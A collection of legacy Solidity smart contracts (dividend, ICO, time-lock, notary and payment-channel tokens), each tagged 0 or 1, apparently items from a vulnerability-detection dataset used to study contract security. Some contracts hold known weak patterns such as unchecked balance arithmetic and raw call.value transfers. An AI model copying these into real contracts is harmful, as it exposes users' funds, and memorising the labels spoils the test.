curPayoutId++; if (curPayoutId >= 32768) curPayoutId = 1; lastPayoutTime = now; payoutBalance = int(holdoverBalance); prOrigPayoutBal = payoutBalance; prOrigTokensMint = totalTokensMinted; holdoverBalance = 0; lastPayoutIndex = 0; StatEventI("StartRun", uint(curPayoutId)); } else if (payoutBalance > 0) { uint nAmount; uint nPerTokDistrib = uint(prOrigPayoutBal)/prOrigTokensMint; uint paids = 0; uint i; for (i = lastPayoutIndex; (paids < _numPays) && (i < numAccounts) && (payoutBalance > 0); i++ ) { address a = holderIndexes[i]; if (a == address(0)) { continue; } var (pid, held) = getPayIdAndHeld(holderAccounts[a].tokens); if ((held > 0) && (pid != curPayoutId)) { nAmount = nPerTokDistrib * held; if (int(nAmount) <= payoutBalance){ holderAccounts[a].balance += nAmount; holderAccounts[a].tokens = (curPayoutId * (2 ** 48)) | held; payoutBalance -= int(nAmount); paids++; } } } lastPayoutIndex = i; if (lastPayoutIndex >= numAccounts || payoutBalance <= 0) { lastPayoutIndex = 0; if (payoutBalance > 0) holdoverBalance += uint(payoutBalance); payoutBalance = 0; StatEventI("RunComplete", uint(prOrigPayoutBal) ); } else { StatEventI("PayRun", paids ); } } } function withdrawDividends() public returns (uint _amount) { if (holderAccounts[msg.sender].balance == 0) { StatEvent("0 Balance"); return; } else { if ((msg.sender == developers) && (now < vestTime)) { return; } _amount = holderAccounts[msg.sender].balance; holderAccounts[msg.sender].balance = 0; if (!msg.sender.call.gas(rwGas).value(_amount)()) throw; } } function setOpGas(uint _rm, uint _rf, uint _rw) { if (msg.sender != owner && msg.sender != developers) { return; } else { rmGas = _rm; rfGas = _rf; rwGas = _rw; } } function getOpGas() constant returns (uint _rm, uint _rf, uint _rw) { _rm = rmGas; _rf = rfGas; _rw = rwGas; } function checkDividends(address _addr) constant returns(uint _amount) { if (holderAccounts[_addr].alloced) _amount = holderAccounts[_addr].balance; } function icoCheckup() public { if (msg.sender != owner && msg.sender != developers) throw; uint nmsgmask; if (icoStatus == IcoStatusValue.saleClosed) { if ((getNumTokensPurchased() >= minIcoTokenGoal) && (remunerationStage == 0 )) { remunerationStage = 1; remunerationBalance = (totalTokenFundsReceived/100)*9; auxPartnerBalance = (totalTokenFundsReceived/100); nmsgmask |= 1; } } if (icoStatus == IcoStatusValue.succeeded) { if (remunerationStage == 0 ) { remunerationStage = 1; remunerationBalance = (totalTokenFundsReceived/100)*9; auxPartnerBalance = (totalTokenFundsReceived/100); nmsgmask |= 4; } if (remunerationStage == 1) { remunerationStage = 2; remunerationBalance += totalTokenFundsReceived - (totalTokenFundsReceived/10); nmsgmask |= 8; } } uint ntmp; if (remunerationBalance > 0) { ntmp = remunerationBalance; remunerationBalance = 0; if (!founderOrg.call.gas(rmGas).value(ntmp)()) { remunerationBalance = ntmp; nmsgmask |= 32; } else { nmsgmask |= 64; } } else if (auxPartnerBalance > 0) { ntmp = auxPartnerBalance; auxPartnerBalance = 0; if (!auxPartner.call.gas(rmGas).value(ntmp)()) { auxPartnerBalance = ntmp; nmsgmask |= 128; } else { nmsgmask |= 256; } } StatEventI("ico-checkup", nmsgmask); } function changeOwner(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; owner = _addr; } function changeDevevoperAccont(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; developers = _addr; } function changeFounder(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; founderOrg = _addr; } function changeAuxPartner(address _aux) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; auxPartner = _aux; } function haraKiri() { if (settingsState != SettingStateValue.debug) throw; if (msg.sender != owner) throw; suicide(developers); } function getIcoInfo() constant returns(IcoStatusValue _status, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _saleGoal, uint _usageGoal, uint _sold, uint _used, uint _funds, uint _credits, uint _remuStage, uint _vest) { _status = icoStatus; _saleStart = fundingStart; _saleEnd = fundingDeadline; _usageEnd = usageDeadline; _vest = vestTime; _saleGoal = minIcoTokenGoal; _usageGoal = minUsageGoal; _sold = getNumTokensPurchased(); _used = getNumGames(); _funds = totalTokenFundsReceived; _credits = partnerCredits; _remuStage = remunerationStage; } function flushDividends(uint _numPays) { if ((_numPays == 0) || (_numPays > 1000)) { StatEvent("Invalid."); } else if (holdoverBalance > 0 || payoutBalance > 0) { doPayout(_numPays); } else { StatEvent("Nothing to do."); } } function doDeveloperGrant() internal { if (!developersGranted) { developersGranted = true; numDevTokens = (totalTokensMinted * 15)/100; totalTokensMinted += numDevTokens; if (!holderAccounts[developers].alloced) addAccount(developers); uint newHeld = getHeld(holderAccounts[developers].tokens) + numDevTokens; holderAccounts[developers].tokens = newHeld | (curPayoutId * (2 ** 48)); } } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29376000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xc5BB10Ff85c56513cf0dE041c98d1d17E6Ce3F03; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.20; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract MintableToken is StandardToken, Ownable, Pausable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; uint256 public constant maxTokensToMint = 1500000000 ether; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) { return mintInternal(_to, _amount); } function finishMinting() whenNotPaused onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) { require(totalSupply_.add(_amount) <= maxTokensToMint); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } } contract Well is MintableToken { string public constant name = "Token Well"; string public constant symbol = "WELL"; bool public transferEnabled = false; uint8 public constant decimals = 18; uint256 public rate = 9000; uint256 public constant hardCap = 30000 ether; uint256 public weiFounded = 0; uint256 public icoTokensCount = 0; address public approvedUser = 0x1ca815aBdD308cAf6478d5e80bfc11A6556CE0Ed; address public wallet = 0x1ca815aBdD308cAf6478d5e80bfc11A6556CE0Ed; bool public icoFinished = false; uint256 public constant maxTokenToBuy = 600000000 ether; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this)); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this)); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } modifier canTransfer() { require(transferEnabled); _; } modifier onlyOwnerOrApproved() { require(msg.sender == owner || msg.sender == approvedUser); _; } function enableTransfer() onlyOwner returns (bool) { transferEnabled = true; return true; } function finishIco() onlyOwner returns (bool) { icoFinished = true; icoTokensCount = totalSupply_; return true; } modifier canBuyTokens() { require(!icoFinished && weiFounded.add(msg.value) <= hardCap); _; } function setApprovedUser(address _user) onlyOwner returns (bool) { require(_user != address(0)); approvedUser = _user; return true; } function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) { require(_rate > 0); rate = _rate; return true; } function() payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) canBuyTokens whenNotPaused payable { require(msg.value != 0); require(beneficiary != 0x0); uint256 weiAmount = msg.value; uint256 bonus = 0; bonus = getBonusByDate(); uint256 tokens = weiAmount.mul(rate); if (bonus > 0) { tokens += tokens.mul(bonus).div(100); } require(totalSupply_.add(tokens) <= maxTokenToBuy); require(mintInternal(beneficiary, tokens)); weiFounded = weiFounded.add(weiAmount); TokenPurchase(msg.sender, beneficiary, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function changeWallet(address _newWallet) onlyOwner returns (bool) { require(_newWallet != 0x0); wallet = _newWallet; return true; } function getBonusByDate() view returns (uint256){ if (block.timestamp < 1514764800) return 0; if (block.timestamp < 1521158400) return 40; if (block.timestamp < 1523836800) return 30; if (block.timestamp < 1523923200) return 25; if (block.timestamp < 1524441600) return 20; if (block.timestamp < 1525046400) return 10; if (block.timestamp < 1525651200) return 5; return 0; } }
1
pragma solidity ^0.4.2; contract DateTime { struct DateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) constant returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint year) constant returns (uint) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) constant returns (uint8) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint timestamp) internal returns (DateTime dt) { uint secondsAccountedFor = 0; uint buf; uint8 i; dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); uint secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } dt.hour = getHour(timestamp); dt.minute = getMinute(timestamp); dt.second = getSecond(timestamp); dt.weekday = getWeekday(timestamp); } function getYear(uint timestamp) constant returns (uint16) { uint secondsAccountedFor = 0; uint16 year; uint numLeapYears; year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint timestamp) constant returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint timestamp) constant returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint timestamp) constant returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint timestamp) constant returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint timestamp) constant returns (uint8) { return uint8(timestamp % 60); } function getWeekday(uint timestamp) constant returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp) { return toTimestamp(year, month, day, 0, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) constant returns (uint timestamp) { return toTimestamp(year, month, day, hour, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) constant returns (uint timestamp) { return toTimestamp(year, month, day, hour, minute, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) constant returns (uint timestamp) { uint16 i; for (i = ORIGIN_YEAR; i < year; i++) { if (isLeapYear(i)) { timestamp += LEAP_YEAR_IN_SECONDS; } else { timestamp += YEAR_IN_SECONDS; } } uint8[12] memory monthDayCounts; monthDayCounts[0] = 31; if (isLeapYear(year)) { monthDayCounts[1] = 29; } else { monthDayCounts[1] = 28; } monthDayCounts[2] = 31; monthDayCounts[3] = 30; monthDayCounts[4] = 31; monthDayCounts[5] = 30; monthDayCounts[6] = 31; monthDayCounts[7] = 31; monthDayCounts[8] = 30; monthDayCounts[9] = 31; monthDayCounts[10] = 30; monthDayCounts[11] = 31; for (i = 1; i < month; i++) { timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1]; } timestamp += DAY_IN_SECONDS * (day - 1); timestamp += HOUR_IN_SECONDS * (hour); timestamp += MINUTE_IN_SECONDS * (minute); timestamp += second; return timestamp; } } contract ProofOfExistence { string public result; function uintToString(uint v) constant returns (string str) { uint maxlength = 100; bytes memory reversed = new bytes(maxlength); uint i = 0; while (v != 0) { uint remainder = v % 10; v = v / 10; reversed[i++] = byte(48 + remainder); } bytes memory s = new bytes(i + 1); for (uint j = 0; j <= i; j++) { s[j] = reversed[i - j]; } str = string(s); } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } mapping (string => uint) private proofs; function notarize(string sha256) { if ( bytes(sha256).length == 64 ){ if ( proofs[sha256] == 0 ){ proofs[sha256] = block.timestamp; } } } function verify(string sha256) constant returns (string) { var timestamp = proofs[sha256]; if ( timestamp == 0 ){ return "No data found"; }else{ DateTime dt = DateTime(msg.sender); uint year = dt.getYear(timestamp); uint month = dt.getMonth(timestamp); uint day = dt.getDay(timestamp); uint hour = dt.getHour(timestamp); uint minute = dt.getMinute(timestamp); uint second = dt.getSecond(timestamp); result = strConcat(uintToString(year) , "-" , uintToString(month),"-",uintToString(day)); result = strConcat(result," "); result = strConcat( uintToString(hour) , ":" , uintToString(minute),":",uintToString(second)); result = strConcat(result," UTC"); return result; } } }
0
pragma solidity 0.4.25; library ECDSA { function recover(bytes32 hash, bytes signature) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (signature.length != 65) { return (address(0)); } assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); } } contract Web3Provider { using ECDSA for bytes32; uint256 constant public REQUEST_PRICE = 100 wei; uint256 public clientDeposit; uint256 public chargedService; address public clientAddress; address public web3provider; uint256 public timelock; bool public charged; constructor() public { web3provider = msg.sender; } function() external {} function subscribeForProvider() external payable { require(clientAddress == address(0)); require(msg.value % REQUEST_PRICE == 0); clientDeposit = msg.value; clientAddress = msg.sender; timelock = now + 1 days; } function chargeService(uint256 _amountRequests, bytes _sig) external { require(charged == false); require(now <= timelock); require(msg.sender == web3provider); bytes32 hash = keccak256(abi.encodePacked(_amountRequests)); require(hash.recover(_sig) == clientAddress); chargedService = _amountRequests*REQUEST_PRICE; require(chargedService <= clientDeposit); charged = true; web3provider.transfer(chargedService); } function withdrawDeposit() external { require(msg.sender == clientAddress); require(now > timelock); clientAddress.transfer(address(this).balance); } }
1
pragma solidity ^0.4.12; contract IMigrationContract { function migrate(address addr, uint256 nas) returns (bool success); } contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract BTTToken is StandardToken, SafeMath { string public constant name = "BTT"; string public constant symbol = "BTT"; uint256 public constant decimals = 18; string public version = "1.0"; address public ethFundDeposit; address public newContractAddr; bool public isFunding; uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; uint256 public tokenRaised = 0; uint256 public tokenMigrated = 0; uint256 public tokenExchangeRate = 5000; event AllocateToken(address indexed _to, uint256 _value); event IssueToken(address indexed _to, uint256 _value); event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } function BTTToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(1000000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); } function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); } function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); } }
1
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract BurnableToken is BasicToken, Ownable { event Burn(uint256 value); function burn(uint256 _value) onlyOwner public { require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_value); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract SantaCoin is PausableToken, BurnableToken { string public constant name = "Santa Coin"; string public constant symbol = "SANTA"; uint8 public constant decimals = 18; constructor(uint256 _amount) public Ownable() { totalSupply_ = _amount * 1 ether; balances[owner] = totalSupply_; } }
1